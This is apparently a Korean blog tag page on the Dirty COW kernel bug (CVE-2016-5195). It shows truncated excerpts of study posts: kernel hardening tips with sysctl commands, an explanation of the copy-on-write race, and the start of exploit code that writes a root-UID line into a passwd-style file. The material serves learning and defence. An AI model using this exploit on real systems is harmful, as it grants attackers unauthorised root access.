일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- link layer
- linear difference equation
- ret2libc
- MLFQ
- STCF
- 운영체제
- stride
- MAC
- 게임 개발
- Race condition
- DP
- SNR
- AINCAA
- dtft
- DSP
- dirty cow
- Frequency Response
- convolution
- information hiding
- frequency-domain spectrum analysis
- Unity #Indie Game
- 배경 그림
- 유니티
- polymorphism
- sampling theory
- pdlc
- 유스케이스
- Security
- 메카님
- 게임개발
- Today
- Total
목록dirty cow (3)
다양한 기록
1. SELinux나 AppArmor 정책 강제- 우분투에서 미는 건 앱아머, 레드햇 계열에서 미는 건 SE리눅스 2. sysctl 로 튜닝해서 커널 구성 강화sudo sysctl -w kernel.randomize_va_space=2sudo sysctl -w fs.protected_symlinks=1sudo sysctl -w kernel.unprivileged_userns_clone=0- 위 명령어처럼 커널 구성 강화 가능 3. Live Patching 구현- 재부팅 안하고 패치 가능하도록 4. 커널 네임 스페이스 활용- 프로세스 각자에 독립적인 자원 뷰를 제공하여 격리- pid, net, mnt 같은 네임 스페이스가 예시 5. eBPF를 사용한 커널 행위 실시간 모니터링- eBPF (Extended ..
Copy on Write 3 Step(A) 매핑된 메모리의 카피를 만들기(B) 페이지 테이블 업데이트 (-> 버추얼 메모리가 피지컬 메모리의 새로운 장소를 가리킴)(C) 메모리에 쓰기 이 위의 세 스텝은 원자적이지 않음-> 다른 스레드들이 레이스 컨디션을 일으킬 수 있음madvise()가 (B)와 (C) 사이에 실행..=> 카피를 만들어뒀더니 쓰기 직전에 원본으로 바꿔치기됨 Attack#include #include #include #include #include #include #include void *map;void writeThread(void *arg){ char *content = "username:x:0000"; off_t offset = (off_t)arg; int f = ..
Kernel Local Privilege Escalation "Dirty COW", CVE-2016-5195레이스 컨디션의 한 케이스 int main(){ struct stat st; char content[20]; char *new_content = "New Content"; void *map; int f = open("./zzz", O_RDWR) fstat(f, &st); map = mmap(NULL, st.size, PROT_READ | PROT_WRITE, MAP_SHARED, f, 0); // read 10 bytes memcpy( (void*)content, map, 10 ); printf("read: %s\n", co..